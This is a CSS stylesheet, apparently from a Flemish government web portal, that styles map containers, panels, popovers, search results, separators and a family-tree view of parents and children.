      .vl-map {
        border: 1px solid #cbd2da
      }

      .vl-map__save-cta {
        align-items: center;
        display: flex
      }

      .vl-map__save-cta-group {
        position: relative
      }

      @media screen and (max-width:767px) {
        .vl-map__save-cta-group {
          width: 100%
        }
      }

      .vl-map .vl-map__container .vl-map__toggle {
        z-index: 1
      }

      .vl-map__container {
        height: calc(100vh - 13rem);
        max-height: 45rem;
        min-height: 20rem;
        outline: none
      }

      .vl-map__container,
      .vl-map__loading,
      .vl-map__pane {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif)
      }

      .vl-map__loading {
        align-items: center;
        background-color: #f7f9fc;
        display: flex;
        flex-direction: column;
        height: 100%;
        justify-content: center;
        left: 0;
        position: absolute;
        top: 0;
        width: 100%;
        z-index: 1
      }

      .vl-map__loading.v-enter-active,
      .vl-map__loading.v-leave-active {
        transition: .35s
      }

      .vl-map__loading.v-enter,
      .vl-map__loading.v-leave-to {
        opacity: 0
      }

      a {
        color: #05c;
        color: var(--vlw-theme-action-color, #05c)
      }

      a:hover {
        color: #004ab3;
        color: var(--vlw-theme-action-hover-color, #004ab3)
      }

      a:focus {
        color: #004099;
        color: var(--vlw-theme-action-active-color, #004099)
      }

      @media print {
        a[href]:after {
          content: " ("attr(href) ")"
        }
      }

      .bl-loading-bars__loading-bar {
        width: 100%
      }

      .v-enter-active .bl-loading-bars__loading-bar {
        max-width: 45%;
        opacity: 0
      }

      .v-enter-to .bl-loading-bars__loading-bar {
        max-width: 100%;
        opacity: 1;
        transition: opacity .6s linear .1s, max-width 1.25s ease-out
      }

      .bl-loading-bars__loading-bar:first-of-type {
        width: 70%
      }

      .bl-loading-bars__loading-bar:first-of-type:after {
        animation-delay: 1s
      }

      .bl-loading-bars__loading-bar:nth-of-type(2) {
        width: 80%
      }

      .v-enter-to .bl-loading-bars__loading-bar:nth-of-type(2) {
        transition: opacity .6s linear .1s, max-width 1s ease-out
      }

      .bl-loading-bars__loading-bar:nth-of-type(3) {
        width: 75%
      }

      .v-enter-to .bl-loading-bars__loading-bar:nth-of-type(3) {
        transition: opacity .6s linear .1s, max-width 1.35s ease-out
      }

      .bl-loading-bars__loading-bar:nth-of-type(3):after {
        animation-delay: .5s
      }

      .bl-panel--bordered {
        border: .1rem solid #cbd2da
      }

      .bl-panel__header {
        align-items: center;
        background: none;
        border: none;
        display: flex;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        padding: 1.5rem 0;
        position: relative;
        text-align: left;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .bl-panel__header {
          padding: 1rem
        }
      }

      .bl-panel--alt .bl-panel__header {
        background: #f7f9fc
      }

      .bl-panel--alt .bl-panel__header .vl-badge__icon svg {
        fill: pink
      }

      .bl-panel--accordion .bl-panel__header {
        align-items: flex-start
      }

      .bl-panel--bordered .bl-panel__header {
        padding: 1.5rem
      }

      .bl-panel__header--has-action {
        cursor: pointer;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .bl-panel__header--has-action:focus,
      .bl-panel__header--has-action:hover {
        background: rgba(0, 18, 55, .055)
      }

      .bl-panel__header--has-action:focus {
        outline: thin dotted #05c
      }

      .bl-panel__header__badges {
        margin-right: 1.5rem;
        white-space: nowrap
      }

      @media screen and (max-width:767px) {
        .bl-panel__header__badges {
          align-self: flex-start
        }
      }

      @media screen and (max-width:500px) {
        .bl-panel__header__badges {
          margin-right: 1rem
        }
      }

      .bl-panel__header__toggle {
        color: #05c;
        flex: 0 0 2.6rem;
        margin-right: 1.5rem;
        vertical-align: top
      }

      @media screen and (max-width:767px) {
        .bl-panel__header__toggle {
          flex: 0 0 2.2rem;
          margin-right: 1rem
        }
      }

      .js-vl-accordion--open>.js-vl-accordion__toggle>.bl-panel__header__toggle:before {
        transform: rotate(-90deg)
      }

      .bl-panel__header__toggle--reverse {
        transform: rotate(-180deg)
      }

      .bl-panel__header__content {
        width: 100%
      }

      .bl-panel__header__content--flex {
        display: flex;
        flex-direction: row;
        justify-content: space-between
      }

      @media screen and (max-width:767px) {
        .bl-panel__header__content--flex {
          flex-direction: column;
          justify-content: flex-start
        }
      }

      .bl-panel--accordion .bl-panel__header__content--flex {
        align-items: flex-start
      }

      .bl-panel__header__content__text {
        display: flex;
        flex-basis: 75%;
        flex-direction: column;
        flex-grow: 1;
        justify-content: center;
        padding-right: 1.25rem
      }

      .bl-panel__header--has-info-toggle .bl-panel__header__content__text {
        padding-right: 2rem
      }

      .bl-panel__header__content__extra {
        display: flex;
        flex-basis: auto;
        flex-direction: column;
        font-size: 1.4rem;
        line-height: 1.3;
        padding-left: 1.25rem;
        padding-top: .8rem;
        text-align: right
      }

      .bl-panel__header--has-info-toggle .bl-panel__header__content__extra {
        margin-top: 2.8rem
      }

      @media screen and (max-width:1023px) {
        .bl-panel__header--has-info-toggle .bl-panel__header__content__extra {
          margin-top: 1rem
        }
      }

      .bl-panel__header__content__extra__item {
        list-style-type: none
      }

      .bl-panel__header__content__extra__item:not(:last-child) {
        margin-bottom: .5rem
      }

      @media screen and (max-width:1023px) {
        .bl-panel__header__content__extra__item:not(:last-child) {
          margin-bottom: 0
        }
      }

      @media screen and (max-width:767px) {
        .bl-panel__header__content__extra__item {
          font-size: 1.3rem
        }
      }

      .bl-panel__header__content__actions {
        align-items: flex-end;
        align-self: flex-start;
        display: flex;
        flex-direction: column;
        flex-grow: 2;
        text-align: right
      }

      @media screen and (max-width:767px) {
        .bl-panel__header__content__actions {
          align-items: flex-start;
          align-self: flex-start;
          padding-top: 1.5rem;
          text-align: left
        }
      }

      .bl-panel__header__subtitle,
      .bl-panel__header__title {
        display: block;
        line-height: 1.3
      }

      .bl-panel__header__title {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-accent-font, "Flanders Art Sans", sans-serif);
        font-size: 2rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        margin-bottom: 4px
      }

      .bl-panel--compact .bl-panel__header__title {
        font-size: 1.8rem
      }

      @media screen and (max-width:767px) {
        .bl-panel__header__title {
          font-size: 1.8rem
        }
      }

      @media screen and (max-width:500px) {
        .bl-panel__header__title {
          font-size: 1.6rem
        }
      }

      .bl-panel--accordion .bl-panel__header__title {
        color: #05c
      }

      .bl-panel__header__subtitle {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.8rem;
        font-weight: 400
      }

      .bl-panel--compact .bl-panel__header__subtitle {
        font-size: 1.4rem
      }

      @media screen and (max-width:767px) {
        .bl-panel__header__subtitle {
          font-size: 1.4rem
        }
      }

      .bl-panel__header__info-popover {
        position: absolute;
        right: 10px;
        top: 5px
      }

      .bl-panel__body {
        position: relative
      }

      .bl-panel__body:not(.vl-accordion__content) {
        padding: 1.5rem 0
      }

      .bl-panel--bordered .bl-panel__body:not(.vl-accordion__content) {
        padding: 1.5rem
      }

      .bl-panel--compact .bl-panel__body:not(.vl-accordion__content) {
        padding-top: .5rem
      }

      .bl-panel--alt .bl-panel__body:not(.vl-accordion__content) {
        background: #f7f9fc
      }

      .js-vl-accordion .bl-panel__body {
        padding: 0 1.5rem
      }

      @media screen and (max-width:767px) {
        .js-vl-accordion .bl-panel__body {
          padding: 0 1rem
        }
      }

      .js-vl-accordion--open>.bl-panel__body {
        padding: 1.5rem
      }

      @media screen and (max-width:767px) {
        .js-vl-accordion--open>.bl-panel__body {
          padding: 1rem
        }
      }

      .bl-panel__body .js-vl-accordion--open .vl-vi-arrow-down-fat:before {
        transform: rotate(180deg)
      }

      .bl-panel__body:focus {
        outline: none
      }

      .bl-panel__body--alt {
        background: rgba(0, 64, 159, .031)
      }

      .bl-panel__body__accordions:not(:first-child) {
        margin-top: 2rem
      }

      .bl-panel__body__accordion:not(:last-of-type) {
        margin-bottom: 1.5rem
      }

      .bl-panel__body__accordion__toggle {
        display: inline-block
      }

      .bl-panel__body__accordion__toggle:before {
        top: .3rem
      }

      .bl-panel__body__accordion__toggle--reverse:before {
        transform: rotate(90deg) !important
      }

      .bl-panel__body__accordion--open .vl-vi-arrow-down-fat:before {
        transform: rotate(180deg)
      }

      .bl-panel__body__accordion__content {
        background: #e8ebee;
        left: -1.5rem;
        margin-top: .5rem;
        overflow: hidden;
        padding: 1.5rem 1.5rem 1.5rem 3.5rem;
        position: relative;
        width: calc(100% + 3rem)
      }

      .bl-panel__body__accordion__content .bl-panel__body:not(.bl-panel__body--has-footer),
      .bl-panel__body__accordion__content .bl-panel__body__accordion:last-of-type {
        margin-bottom: -1.5rem
      }

      @media screen and (max-width:767px) {
        .bl-panel__body__accordion__content {
          padding: 1rem 1rem 1rem 3rem
        }
      }

      .bl-panel__body__accordion__content:focus {
        outline: none
      }

      .bl-panel__body__footer {
        border-top: 1px solid #cbd2da;
        margin-top: 1.5rem;
        padding-top: 1.5rem
      }

      .bl-panel__body__footer__meta {
        color: #666;
        font-size: 1.6rem
      }

      .bl-panel__body__accordion--open+.bl-panel__body__footer {
        margin-top: -.1rem
      }

      .bl-panel-enter-active {
        transition: all .2s ease-out
      }

      .bl-panel-leave-active {
        transition: all .2s ease-in
      }

      .bl-panel-enter,
      .bl-panel-leave-to {
        margin-top: -3rem;
        opacity: .4
      }

      .bl-panel-accordion-enter-active {
        transition: all .2s ease-out
      }

      .bl-panel-accordion-leave-active {
        transition: all 0s ease-in
      }

      .bl-panel-accordion-enter,
      .bl-panel-accordion-leave-to {
        opacity: .4
      }

      .vl-popover--align-top .vl-popover__arrow {
        transform: scale(-1) translateX(.8rem)
      }

      @media screen and (min-width:767.1px) {
        .vl-popover .vl-popover__content {
          z-index: 10014 !important
        }
      }

      .bl-popover {
        min-height: 1rem
      }

      .bl-popover .vl-badge--icon {
        margin-right: 3px
      }

      @media screen and (max-width:767px) {
        .bl-popover .vl-badge--icon {
          margin-right: 0
        }
      }

      .bl-popover__content {
        font-size: 1.6rem;
        text-align: left
      }

      @media screen and (min-width:767.1px) {
        .bl-popover__content {
          bottom: auto;
          left: auto;
          margin-top: 1.4rem;
          position: absolute;
          right: 0;
          top: auto;
          transform: none
        }
      }

      .bl-popover__content--break {
        word-break: break-word
      }

      .bl-popover__content .bl-popover__content__inner {
        max-height: 30rem
      }

      @media screen and (max-width:767px) {
        .bl-popover__content {
          max-height: 70vh;
          overflow-y: auto
        }
      }

      .bl-popover--l .bl-popover__content {
        width: 31rem
      }

      @media screen and (max-width:767px) {
        .bl-popover--l .bl-popover__content {
          left: 2rem;
          width: calc(100% - 4rem)
        }
      }

      @media screen and (min-width:1023.1px) {
        .bl-popover--l .bl-popover__content {
          max-width: 31rem;
          width: calc(75vw - 9rem)
        }
      }

      .bl-popover--xl .bl-popover__content {
        max-height: 80vh;
        width: 45rem
      }

      @media screen and (max-width:767px) {
        .bl-popover--xl .bl-popover__content {
          left: 2rem;
          width: calc(100% - 4rem)
        }
      }

      @media screen and (min-width:767.1px) {
        .bl-popover--xl .bl-popover__content {
          max-width: 45rem;
          width: calc(75vw - 9rem)
        }
      }

      .bl-popover--xxl .bl-popover__content {
        width: 60rem
      }

      @media screen and (max-width:767px) {
        .bl-popover--xxl .bl-popover__content {
          left: 2rem;
          width: calc(100% - 4rem)
        }
      }

      @media screen and (min-width:767.1px) {
        .bl-popover--xxl .bl-popover__content {
          max-width: 60rem;
          width: calc(75vw - 9rem)
        }
      }

      .bl-popover--caret .bl-popover__content {
        overflow: visible
      }

      .bl-popover--caret .bl-popover__content:before {
        border-color: transparent transparent #fff;
        border-style: solid;
        border-width: 0 .8rem .8rem;
        content: "";
        height: 0;
        left: 0;
        margin: auto;
        position: absolute;
        right: 0;
        top: -.8rem;
        width: 0
      }

      @media screen and (max-width:767px) {
        .bl-popover--caret .bl-popover__content:before {
          display: none
        }

        .bl-popover--caret .bl-popover__content {
          overflow: hidden
        }
      }

      .bl-popover--left .bl-popover__content {
        left: auto;
        right: auto;
        transform: translateX(-1rem)
      }

      @media screen and (max-width:767px) {
        .bl-popover--left .bl-popover__content {
          left: 2rem;
          transform: none;
          width: calc(100% - 4rem)
        }
      }

      .bl-popover--center .bl-popover__content {
        left: 50%;
        right: auto;
        transform: translateX(-50%)
      }

      @media screen and (max-width:767px) {
        .bl-popover--center .bl-popover__content {
          left: 2rem;
          right: 2rem;
          transform: none;
          width: calc(100% - 4rem)
        }
      }

      .bl-popover--right .bl-popover__content {
        left: auto
      }

      @media screen and (max-width:767px) {
        .bl-popover--right .bl-popover__content {
          right: 2rem;
          transform: none;
          width: calc(100% - 4rem)
        }
      }

      .bl-popover--has-header .bl-popover__content {
        padding-top: 0
      }

      .bl-popover--has-header .bl-popover__content:before {
        border-color: transparent transparent #e8ebee
      }

      .bl-popover--has-footer .bl-popover__content {
        padding-bottom: 0
      }

      .bl-popover__content__container {
        display: flex;
        flex-direction: column;
        height: 100%
      }

      .bl-popover__content__inner {
        max-height: 20rem;
        overflow-y: auto;
        position: relative
      }

      .bl-popover--has-header .bl-popover__content__inner:before {
        background: #e8ebee;
        content: "";
        display: block;
        height: 4.5rem;
        left: 0;
        position: absolute;
        top: 0;
        width: 100%
      }

      .bl-popover__content__footer {
        padding: 1rem 2rem 2rem
      }

      .bl-popover__close {
        display: inline-block;
        position: absolute;
        right: 1rem;
        top: 1rem;
        z-index: 2
      }

      .bl-popover__header {
        align-items: center;
        background: #e8ebee;
        display: flex;
        height: 4.5rem;
        left: 0;
        padding: 0 1.7rem;
        position: absolute;
        text-align: left;
        top: 0;
        width: 100%;
        z-index: 2
      }

      .bl-popover__header--static {
        position: static
      }

      .bl-popover__header__title {
        align-items: center;
        color: #333332;
        display: flex;
        font-size: 1.6rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        line-height: 1;
        width: calc(100% - 4.4rem)
      }

      .bl-popover__header__title__image {
        display: inline-block;
        height: 2.8rem;
        margin: 0 .3rem 0 0;
        vertical-align: middle;
        width: 2.8rem
      }

      .bl-popover__header__title__image--rounded {
        border-radius: 5rem
      }

      .bl-popover__header__title__icon {
        height: 2rem;
        margin: 0 .75rem 0 0;
        min-width: 2.5rem;
        width: 2.5rem
      }

      .bl-popover__header__title__text {
        display: inline-block;
        width: 100%
      }

      .bl-popover__header__title__icon+.bl-popover__header__title__text {
        width: calc(100% - 2.5rem)
      }

      .bl-popover__header__cta {
        font-size: 1.4rem
      }

      .bl-popover__header__cta__button {
        border: none;
        cursor: pointer;
        margin-right: 1.8rem;
        padding: 1.1rem 1.3rem 1.1rem 1rem;
        position: relative
      }

      .bl-popover__header__cta__button:before {
        background: #cbd2da;
        content: "";
        height: 1.8rem;
        position: absolute;
        right: 0;
        width: .1rem
      }

      .bl-popover__header__cta__button:focus,
      .bl-popover__header__cta__button:hover {
        color: #05c
      }

      .bl-popover__header__cta__button:focus {
        outline: none
      }

      .bl-popover__header__cta--left .bl-popover__header__cta__button {
        margin-left: -1.3rem
      }

      .bl-person-banner {
        align-items: center;
        display: flex
      }

      @media screen and (max-width:767px) {
        .bl-person-banner {
          margin-bottom: 1rem
        }
      }

      .bl-person-banner__badge {
        margin-right: 2rem
      }

      @media screen and (max-width:767px) {
        .bl-person-banner__badge {
          margin-right: 1rem
        }
      }

      .bl-person-banner__badge__image {
        background: #e8ebee;
        border: 1px solid #cbd2da;
        border-radius: 10rem;
        height: 10rem;
        position: relative;
        width: 10rem
      }

      @media screen and (max-width:767px) {
        .bl-person-banner__badge__image {
          height: 6rem;
          width: 6rem
        }
      }

      .bl-person-banner__badge__image:before {
        color: #333332;
        content: attr(data-initials);
        display: block;
        font-size: 4rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        left: 0;
        position: absolute;
        right: 0;
        text-align: center;
        top: 1.75rem;
        white-space: nowrap;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .bl-person-banner__badge__image:before {
          font-size: 3rem;
          top: .85rem
        }
      }

      .bl-person-banner__meta,
      .bl-person-banner__title {
        color: #333332
      }

      .bl-person-banner__title {
        display: block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-accent-font, "Flanders Art Sans", sans-serif);
        font-size: 4.8rem;
        font-weight: 300;
        line-height: 1.2
      }

      .bl-person-banner__title:focus {
        outline: none
      }

      @media screen and (max-width:767px) {
        .bl-person-banner__title {
          font-size: 3.5rem
        }
      }

      @media screen and (max-width:500px) {
        .bl-person-banner__title {
          font-size: 2.4rem
        }
      }

      .bl-person-banner__meta {
        font-size: 1.8rem
      }

      @media screen and (max-width:767px) {
        .bl-person-banner__meta {
          font-size: 1.6rem
        }
      }

      @media screen and (max-width:500px) {
        .bl-person-banner__meta {
          font-size: 1.3rem
        }
      }

      .bl-personal-vault {
        margin-top: 30px
      }

      .bl-personal-vault__menu-box {
        margin-top: -3rem;
        padding: 3rem
      }

      .bl-personal-vault__menu-box .vl-link {
        color: #333332;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .bl-personal-vault__menu-box .vl-link.nuxt-link-active {
        font-weight: 500
      }

      .bl-personal-vault-data-item {
        border: 1px solid #cbd2da;
        padding: 14px 17px
      }

      .vl-search-filter {
        border-bottom: 0
      }

      .vl-search-filter__intro,
      .vl-search-results__title {
        margin: 0 0 .7rem;
        padding: 0 0 .7rem
      }

      @media screen and (max-width:767px) {

        .vl-search-filter__intro,
        .vl-search-results__title {
          font-size: 1.6rem
        }
      }

      .vl-search-filter__form-title {
        margin-bottom: 1rem
      }

      @media screen and (max-width:767px) {
        .vl-search-filter__form-title {
          font-size: 1.6rem
        }
      }

      .vl-search-filter__field .vl-radio__toggle:checked+.vl-radio__label {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      .vl-search-results__title {
        border-color: #cbd2da;
        margin-bottom: 0;
        text-transform: none
      }

      .vl-search-results__item {
        display: block
      }

      .vl-search-results__item .vl-search-result {
        margin: 0;
        padding: 2rem 0
      }

      .vl-search-results__item .vl-search-result__title .vl-vi-arrow-down-fat {
        margin-right: 1rem
      }

      .vl-search-results__item .vl-search-result .js-vl-accordion--open .vl-vi-arrow-down-fat:before {
        transform: rotate(180deg)
      }

      .vl-search-results__item .vl-drawer {
        margin-bottom: calc(-2rem - 1px)
      }

      .vl-search-results--bordered .vl-search-results__item:not(:first-child) .vl-search-result {
        border-top: 1px solid #cbd2da
      }

      .bl-separator {
        display: block;
        margin-bottom: 1rem;
        position: relative
      }

      .bl-separator:before {
        background: #cbd2da;
        content: "";
        display: block;
        height: .1rem;
        left: 0;
        position: absolute;
        right: 0;
        top: 2.5rem;
        width: 100%;
        z-index: 1
      }

      @media screen and (max-width:767px) {
        .bl-separator:before {
          top: 1.6rem
        }
      }

      @media screen and (max-width:500px) {
        .bl-separator:before {
          top: 1.4rem
        }
      }

      .bl-separator__label {
        background: #fff;
        color: #666;
        display: inline-block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-accent-font, "Flanders Art Sans", sans-serif);
        font-size: 3.4rem;
        padding-right: 1.5rem;
        position: relative;
        z-index: 2
      }

      @media screen and (max-width:767px) {
        .bl-separator__label {
          font-size: 2.5rem
        }
      }

      @media screen and (max-width:500px) {
        .bl-separator__label {
          font-size: 2.2rem;
          max-width: calc(100% - 2rem)
        }
      }

      .bl-separator--small:before {
        top: 1.3rem
      }

      @media screen and (max-width:767px) {
        .bl-separator--small:before {
          top: 1rem
        }
      }

      @media screen and (max-width:500px) {
        .bl-separator--small:before {
          top: .9rem
        }
      }

      .bl-separator--small .bl-separator__label {
        color: #333332;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.8rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      @media screen and (max-width:767px) {
        .bl-separator--small .bl-separator__label {
          font-size: 1.6rem
        }
      }

      @media screen and (max-width:500px) {
        .bl-separator--small .bl-separator__label {
          font-size: 1.5rem
        }
      }

      .js-preloading .spotlight {
        min-height: 12rem;
        padding-top: 2rem
      }

      .js-preloading .spotlight__text,
      .js-preloading .spotlight__title {
        height: .8rem
      }

      .js-preloading .spotlight__title {
        width: 70%
      }

      .js-preloading .spotlight__text {
        width: 50%
      }

      .js-preloading .spotlight__image {
        background: #e8ebee;
        height: 15rem;
        margin: 0 0 3rem;
        width: 100%
      }

      .vl-spotlight__title {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      .vl-steps--timeline .vl-step__icon {
        background-color: #ffed00;
        background-color: var(--vlw-theme-accent-color, #ffed00);
        color: #333332;
        color: var(--vlw-theme-accent-fg-color, #333332)
      }

      .vl-step__title {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      .vl-step__wrapper {
        display: flex;
        flex-direction: column
      }

      th {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      @media screen and (max-width:767px) {
        .vl-tabs {
          margin-bottom: 1.5rem
        }
      }

      .vl-tab__link {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      @media screen and (max-width:767px) {
        .vl-tab__link {
          margin: 0 .65rem
        }
      }

      .vl-tab:first-of-type {
        margin-left: 0
      }

      .vl-tab--active .vl-tab__link {
        color: #333332
      }

      .vl-tooltip {
        z-index: 2
      }

      .vl-tooltip,
      .vl-tooltip__title {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      .bl-page-fade-enter-active {
        opacity: 0
      }

      .bl-page-fade-enter-to {
        opacity: 1;
        transition: .4s linear .1s
      }

      .bl-fade-enter-active {
        opacity: 0
      }

      .bl-fade-enter-to {
        opacity: 1;
        transition: .25s linear
      }

      .bl-grow-enter-active,
      .bl-grow-leave-active {
        height: auto;
        overflow: hidden
      }

      .bl-grow-enter-active {
        transition: .25s ease-in
      }

      .bl-grow-leave-active {
        transition: .25s ease-out
      }

      .bl-grow-enter,
      .bl-grow-leave-to {
        margin-top: 0;
        max-height: 0;
        opacity: 0
      }

      .bl-grow-enter-to,
      .bl-grow-leave {
        max-height: 250px;
        opacity: 1
      }

      .bl-tree {
        overflow: hidden
      }

      .bl-tree__col {
        display: flex
      }

      .bl-tree__children,
      .bl-tree__parents,
      .bl-tree__you {
        display: block;
        text-align: center
      }

      .bl-tree__parents {
        margin: 0 0 3rem
      }

      @media screen and (max-width:767px) {
        .bl-tree__parents {
          margin: 0 0 1.5rem
        }
      }

      .bl-tree__you {
        margin: 0 0 6rem
      }

      @media screen and (max-width:767px) {
        .bl-tree__you {
          margin: 0 0 3rem
        }
      }

      .bl-tree__item {
        background: #fff;
        border: 1px solid #cbd2da;
        margin-left: auto;
        margin-right: auto;
        max-width: 25rem;
        padding: 2rem 1.5rem 1.5rem;
        position: relative;
        text-align: center;
        width: 100%;
        z-index: 5
      }

      @media screen and (max-width:500px) {
        .bl-tree__item {
          padding: 1rem
        }
      }

      .bl-tree__item--unknown {
        background: #f1f2f4
      }

      .bl-tree__item__ribbon {
        height: 3.6rem;
        left: 0;
        overflow: hidden;
        position: absolute;
        top: 0;
        width: 3.6rem;
        z-index: 4
      }

      .bl-tree__item__ribbon:before {
        background: #3b3b3c;
        content: "";
        display: block;
        height: 1.2rem;
        left: -2rem;
        position: absolute;
        top: 0;
        transform: rotate(-45deg);
        width: 8rem
      }

      .bl-tree__parents .bl-tree__item--incomplete-data {
        box-shadow: none
      }

      .bl-tree__you .bl-tree__item {
        box-shadow: inset 0 .5rem 0 0 #ffed00;
        box-shadow: inset 0 .5rem 0 0 var(--vlw-theme-accent-color, #ffed00)
      }

      .bl-tree__item__content,
      .bl-tree__item__image {
        display: block;
        text-align: center
      }

      .bl-tree__item__image {
        background: #e8ebee;
        border-radius: 5rem;
        box-shadow: 0 0 0 .3rem #fff;
        box-sizing: border-box;
        height: 4.5rem;
        margin: 0 auto 1.5rem;
        -webkit-mask-image: -webkit-radial-gradient(#fff, #000);
        overflow: hidden;
        position: relative;
        width: 4.5rem
      }

      .bl-tree__item__image--has-icon,
      .bl-tree__item__image--has-initials {
        align-items: center;
        display: flex;
        justify-content: center
      }

      .bl-tree__item__image--has-initials {
        border: 1px solid #cbd2da
      }

      .bl-tree__item__image--small {
        background: #f1f2f4;
        height: 6rem;
        width: 6rem
      }

      .bl-tree__item__image__initials {
        color: #333332;
        font-size: 2.5rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      @media screen and (max-width:500px) {
        .bl-tree__item__image {
          height: 6rem;
          margin: 0 auto 1rem;
          width: 6rem
        }
      }

      .bl-tree__item__image span {
        color: #333332;
        display: block;
        font-size: 3rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        left: 0;
        letter-spacing: .1rem;
        line-height: 7.8rem;
        margin: auto;
        text-align: center;
        text-transform: uppercase;
        top: 0;
        width: 100%
      }

      .bl-tree__item__image__figure {
        border-radius: 8.2rem;
        height: auto;
        left: 50%;
        position: absolute;
        top: 50%;
        transform: translate3d(-50%, -50%, 0);
        width: 100%
      }

      .bl-tree__item__image__icon {
        height: 50%;
        width: 50%;
        fill: #333332
      }

      .bl-tree__item--unknown .bl-tree__item__image {
        box-shadow: 0 0 0 .3rem #f1f2f4
      }

      .bl-tree__item__name {
        color: #333332;
        display: block;
        font-size: 1.8rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        line-height: 1;
        margin: 0 0 .5rem
      }

      @media screen and (max-width:500px) {
        .bl-tree__item__name {
          font-size: 1.5rem
        }
      }

      .bl-tree__item__meta {
        color: #666;
        display: block;
        font-size: 1.4rem;
        font-weight: 400;
        line-height: 1.2;
        margin: 0 0 .5rem
      }

      @media screen and (max-width:500px) {
        .bl-tree__item__meta {
          font-size: 1.3rem;
          margin: 0 0 .3rem
        }
      }

      .bl-tree__item__meta--dimmed {
        color: #80807d
      }

      .bl-tree__item__meta--relation {
        margin-top: 15px
      }

      .bl-tree__parents {
        position: relative;
        z-index: 3
      }

      .bl-tree__parents[data-items="2"]:before {
        background: #6a7686;
        border: .4rem solid #fff;
        border-radius: 100%;
        content: "";
        height: 1.8rem;
        left: 0;
        margin: auto;
        position: absolute;
        right: 0;
        top: calc(50% - .7rem);
        width: 1.8rem;
        z-index: 3
      }

      @media screen and (max-width:767px) {
        .bl-tree__parents[data-items="2"]:before {
          height: 1.5rem;
          width: 1.5rem
        }
      }

      .bl-tree__parents[data-items="2"]:after {
        background: #cbd2da;
        content: "";
        height: calc(50% + 3rem);
        left: 0;
        margin: auto;
        position: absolute;
        right: 0;
        top: 50%;
        width: .4rem;
        z-index: 2
      }

      @media screen and (max-width:767px) {
        .bl-tree__parents[data-items="2"]:after {
          height: calc(50% + 1.5rem)
        }
      }

      .bl-tree__parents[data-items="2"] .bl-tree__row {
        position: relative;
        z-index: 1
      }

      .bl-tree__parents[data-items="2"] .bl-tree__row:before {
        background: #cbd2da;
        content: "";
        height: .4rem;
        left: 3rem;
        margin: auto;
        position: absolute;
        right: 0;
        top: 50%;
        width: 15rem;
        z-index: 2
      }

      @media screen and (max-width:767px) {
        .bl-tree__parents[data-items="2"] .bl-tree__row:before {
          left: 1.5rem
        }
      }

      .bl-tree__parents[data-items="2"] .bl-tree__col {
        position: relative;
        z-index: 2
      }

      .bl-tree__parents[data-items="3"] {
        margin-bottom: 5.5rem
      }

      @media screen and (max-width:767px) {
        .bl-tree__parents[data-items="3"] {
          margin-bottom: 2.5rem
        }
      }

      .bl-tree__parents[data-items="3"] .bl-tree__item {
        position: relative
      }

      .bl-tree__parents[data-items="3"] .bl-tree__item:before {
        background: #cbd2da;
        content: "";
        height: 3rem;
        left: 0;
        margin: auto;
        position: absolute;
        right: 0;
        top: 100%;
        width: .4rem
      }

      @media screen and (max-width:767px) {
        .bl-tree__parents[data-items="3"] .bl-tree__item:before {
          display: none
        }
      }

      .bl-tree__parents[data-items="3"] .bl-tree__col:first-of-type .bl-tree__item:after {
        background: #cbd2da;
        content: "";
        height: .4rem;
        left: 50%;
        position: absolute;
        top: calc(100% + 2.6rem);
        width: calc(100% + 7.5rem)
      }

      @media screen and (max-width:767px) {
        .bl-tree__parents[data-items="3"] .bl-tree__col:first-of-type .bl-tree__item:after {
          display: none
        }
      }

      .bl-tree__parents[data-items="3"] .bl-tree__col:last-of-type .bl-tree__item:after {
        background: #cbd2da;
        content: "";
        height: .4rem;
        position: absolute;
        right: 50%;
        top: calc(100% + 2.6rem);
        width: calc(100% + 7.5rem)
      }

      @media screen and (max-width:767px) {
        .bl-tree__parents[data-items="3"] .bl-tree__col:last-of-type .bl-tree__item:after {
          display: none
        }

        .bl-tree__parents[data-items="3"] .bl-tree__col:not(:last-of-type) {
          margin-bottom: 2.5rem
        }
      }

      @media screen and (max-width:500px) {
        .bl-tree__parents[data-items="3"] .bl-tree__col:not(:last-of-type) {
          margin-bottom: 1.5rem
        }
      }

      .bl-tree__you {
        position: relative
      }

      .bl-tree__you--has-parents:before {
        bottom: 100%
      }

      .bl-tree__you--has-children:after,
      .bl-tree__you--has-parents:before {
        background: #cbd2da;
        content: "";
        height: 3rem;
        left: 0;
        margin: auto;
        position: absolute;
        right: 0;
        width: .4rem;
        z-index: 2
      }

      .bl-tree__you--has-children:after {
        top: 100%
      }

      @media screen and (max-width:767px) {
        .bl-tree__you--has-children:after {
          height: 1.6rem
        }
      }

      .bl-tree__children,
      .bl-tree__children .bl-tree__item {
        position: relative
      }

      @media screen and (max-width:767px) {
        .bl-tree__children .bl-tree__item {
          margin-bottom: 1.5rem
        }
      }

